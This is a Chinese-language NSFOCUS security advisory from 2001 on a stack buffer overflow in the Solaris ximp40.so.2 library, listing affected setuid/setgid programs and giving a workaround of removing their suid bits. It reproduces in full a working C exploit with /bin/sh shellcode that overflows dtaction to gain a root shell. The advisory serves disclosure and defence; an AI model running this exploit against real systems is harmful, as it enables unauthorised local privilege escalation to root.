首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第18期->最新漏洞
期刊号: 类型: 关键词:
Solaris ximp40库 缓冲区溢出

日期:2001-02-05

受影响的系统:  
    Sun Solaris 8.0_x86
    Sun Solaris 8.0
    Sun Solaris 7.0_x86
    Sun Solaris 7.0


描述:
--------------------------------------------------------------------------------


BUGTRAQ ID :2322

Solaris 是Unix操作系统的一种,由Sun微系统公司负责维护分发,从版本8开始源代
码公开了。

Openwin携带的ximp40.so.2库存在一个漏洞,用户通过向那些使用该库的应用程序命
令行提供超长字符串参数(大约272个字节),将导致一次堆栈缓冲区溢出,恶意的本
地用户籍此可能获取set-euid-to-mail的特权,甚至set-euid-to-root的特权,具体
依赖于被溢出的应用程序如何设置suid位。

已知受此漏洞影响的应用程序有:

*Solaris 8
suid root : /usr/dt/bin/dtaction
suid root : /usr/dt/bin/dtprintinfo
suid root : /usr/openwin/bin/sys-suspend
sgid mail : /usr/dt/bin/dtmail
sgid mail : /usr/openwin/bin/mailtool

*Solaris 7
suid root : /usr/dt/bin/dtaction
suid root : /usr/dt/bin/dtprintinfo
suid root : /usr/dt/bin/dtappgather
suid root : /usr/bin/admintool
suid root : /usr/openwin/bin/sys-suspend
sgid mail : /usr/dt/bin/dtmail
sgid mail : /usr/openwin/bin/mailtool

<* 来源:UNYUN (shadowpenguin@backsection.net) *>



测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



UNYUN提供了一个x86平台的测试程序:

/*
*  Solaris ximp40 shared library exploit for Solaris8 Intel Edition
*  The Shadow Penguin Security (http://shadowpenguin.backsection.net)
*  Written by UNYUN (shadowpenguin@backsection.net)
*  [usage]
*   #xhost +targethost
*   #telnet targethost
*   ...
*   %setenv DISPLAY yourhost:0.0
*   %gcc ximp40.c
*   %./a.out
*   0:Default value 1:Calculated value > 1   <- Input 0 or 1
*/

#include  <stdio.h>

#define     BUF_SIZE        272
#define     EIP_OFFSET      260
#define     FAKE_OFFSET     264
#define     FAKE_VALUE      0x08046dec
#define     EIP_VALUE       0x08047cb4
#define     FAKE_VALUE_DIF  0xd9c
#define     EIP_VALUE_DIF   0x12c
#define     NOP             0x90

char    shell_code[]=
  "\xeb\x3b\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xc1"
  "\x88\x46\xc6\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x17\xe8\xdf"
  "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89"
  "\x5e\x08\x53\xb0\x3b\xe8\xc8\xff\xff\xff\x83\xc4\x0c\xe8\xc8\xff"
  "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff"
  "\xff\xff";

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}

void valset(char *p,unsigned int val)
{
    *p=val&0xff;
    *(p+1)=(val>>8)&0xff;
    *(p+2)=(val>>16)&0xff;
    *(p+3)=(val>>24)&0xff;
}

main()
{
    char            buf[BUF_SIZE];
    unsigned int    esp=get_sp(),sw;

    memset(buf,NOP,BUF_SIZE);
    memcpy(buf+EIP_OFFSET-strlen(shell_code),shell_code,
           strlen(shell_code));

    printf("esp=%x\n",esp);
    printf("0:Default value 1:Calculated value >");
    fflush(stdout);
    scanf("%d",&sw);
    if (sw==0){
        valset(buf+FAKE_OFFSET, FAKE_VALUE);
        valset(buf+EIP_OFFSET , EIP_VALUE);
        printf("Jumping address = %x\n",EIP_VALUE);
    }else{
        valset(buf+FAKE_OFFSET, esp-FAKE_VALUE_DIF);
        valset(buf+EIP_OFFSET , esp+EIP_VALUE_DIF);
        printf("Jumping address = %x\n",esp+EIP_VALUE_DIF);
    }
    buf[BUF_SIZE-1]=0;

    execl("/usr/dt/bin/dtaction",buf,NULL);
}  /* end of main */


--------------------------------------------------------------------------------
建议:

临时解决方案:

    在Sun公司未提供针对ximp40.so.2库的官方补丁之前,用户可以考虑去掉受此漏
    洞影响的应用程序的suid位。

厂商补丁:

   暂无

版权所有,未经许可,不得转载